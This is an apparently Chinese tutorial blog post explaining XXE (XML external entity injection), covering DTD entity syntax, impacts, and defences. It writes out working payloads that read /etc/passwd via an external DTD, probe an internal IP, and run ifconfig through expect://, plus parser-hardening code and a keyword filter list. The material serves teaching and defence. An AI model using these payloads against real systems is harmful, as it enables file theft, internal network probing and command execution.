XXE漏洞原理

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

PS:php版本大于5.4.45的默认不解析外部实体

要了解XXE,就必须懂得XML的一些规则:

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XXE

这里我们主要需要了解的是文档类型定义,因为XXE就发生在这里,其余规则暂时不做赘述:

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

在DTD内,我们可以声明外部实体,语法规则如下:

内部声明实体

<!ENTITY 实体名称 "实体的值" >

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI" >

注意事项:实体又分为一般实体和参数实体。
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;

(1)内部实体声明:<!ENTITY 实体名称 "实体的值">

ex:<!ENTITY eviltest "eviltest">

注意和DTD中的元素声明区别<!ENTITY 声明元素>

代码实例:

  1 <?xml version="1.0"?>
2 <!DOCTYPE test [
3 <!ENTITY writer "Bill Gates">
4 <!ENTITY copyright "Copyright W3School.com.cn">
5 ]>
6
7 <test>&writer;&copyright;</test>
8

(2)外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">

引入外部参数实体outdtd.dtd文件

代码实例:

  1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE % test[
3 <!ENTITY % a SYSTEM “http://www.test.com/outdtd.dtd">
4 %a;
5 ]>
6 <test>&xxe;</test>

.dtd文件代码:(outdtd.dtd )

  1 <!ENTITY xxe SYSTEM "file:///etc/passwd">

XXE危害

  • 任意文件读取
  • 内网端口扫描(SSRF)
  • DDoS攻击
  • 命令执行

XXE利用

一:探测内网地址

利用代码如下:

  1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE xxe [
3 <!ELEMENT name ANY>
4 <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
5 <root>
6 <name>&xxe;</name>
7 </root>

二:执行命令

在Linux系统安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系命令

利用代码如下:

  1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE xxe[
3 <!ELEMENT name ANY>
4 <!ENTITY xxe SYSTEM "expect://ifconfig">]>
5 <root>
6 <name>&xxe;</name>
7 </root>
8
9 //这里读取系统命令ifconfig读取ip

更多的XXE漏洞利用方法可参考:https://www.freebuf.com/articles/web/177979.html

XXE防御

方法一:使用开发语言提供的禁用外部实体的方法。

  1 PHP:
2 libxml_disable_entity_loader(true);
3
4 JAVA:
5 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
6 dbf.setExpandEntityReferences(false);
7
8 Python:
9 from lxml import etree
10 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
11

方法二:过滤用户提交的XML数据。

关键词:<!DOCTYPE和<!ENTITY 或者 SYSTEM和PUBLIC

XXE--XML外部实体注入漏洞的更多相关文章

  1. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  2. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  3. CTF中关于XXE(XML外部实体注入)题目两道

    题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...

  4. XML外部实体注入漏洞(XXE)

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  5. XXE(xml外部实体注入漏洞)

    实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...

  6. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

  7. 应用安全-XXE(XML外部实体注入)攻防整理

    libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...

  8. PHP xml 外部实体注入漏洞学习

    XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...

  9. 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞

    官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...

  10. 【研究】XML外部实体注入(XXE)

    在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...

随机推荐

  1. CentOS7 环境下 在Hadoop集群安装Hive

    1.下载Hive的tar.gz包:http://mirror.bit.edu.cn/apache/hive/ 2.放入CentOS 7 系统中并解压:tar -zxvf apache-hive-2.3 ...

  2. java.lang.ClassNotFoundException: com.microsoft.sqlserver.jdbc.SQLServerDriver java.sql.SQLException

    今天下午一直想用netbeans连接数据库,结果就是来来回回碰到这两个问题. 我还在想,连接数据库并不是一个什么困难的事情啊,我都按照教程上一步一步做的,代码什么的都感觉很好,怎么就找不到类呢,怎么就 ...

  3. GNS3 ProxyArp(查看路由器是否具有转发功能)

    R2是否可以把R1的数据转发出去,参看http://www.cnblogs.com/qq76211822/p/5129134.html 命令:show ip interface f0/0

  4. 搭建python的开发环境(采用eclipse的开发工具)在线和离线安装pyDev

    一.首先下载python的开发环境并安装 在这里下载python3.7.2,然后安装在一个指定文件夹,随后,将安装路径配置到环境变量中 验证是否成功 OK! 二.在线安装pyDev工具 三.导入开发环 ...

  5. JS - 判断字符串某个下标的值

    <html><body> <script type="text/javascript"> var str="0123456789!&q ...

  6. AngularJS1.X版本基础

    AngularJS  知识点: DataBinding Providers Validators Directives  Controllers Modules Expressions Factori ...

  7. bzoj 1138: [POI2009]Baj 最短回文路

    额,,貌似网上的题解都说超时之类的. 然而我这个辣鸡在做的时候不知道在想什么,连超时的都不会. 超时的大概是这样的,f[x][y]表示x到y的最短回文路,然后更新的话就是 f[x][y]更新到 f[a ...

  8. 19 包含min函数的栈

    题目描述 定义栈的数据结构,请在该类型中实现一个能够得到栈最小元素的min函数.   思路:一个栈存普通元素,一个最小栈存放目前位置最小的元素,只在压入的时候判断是否为空以及最小元素,其他情况正常处理 ...

  9. 002.Delphi插件之QPlugins,菜单插件

    运行之后的效果如下, 图一 图二 主界面代码如下 unit Frm_Main; interface uses Winapi.Windows, Winapi.Messages, System.SysUt ...

  10. 使用WinDbg分析蓝屏dump原因

    大多数人或许都经历过系统蓝屏问题,然而大多数人不清楚该怎么处理蓝屏问题,这里主要对系统蓝屏做一些解释,同时介绍下蓝屏问题分析工具WinDbg分析蓝屏问题的一般步骤. 微软官方对蓝屏的定义是,当系统遇到 ...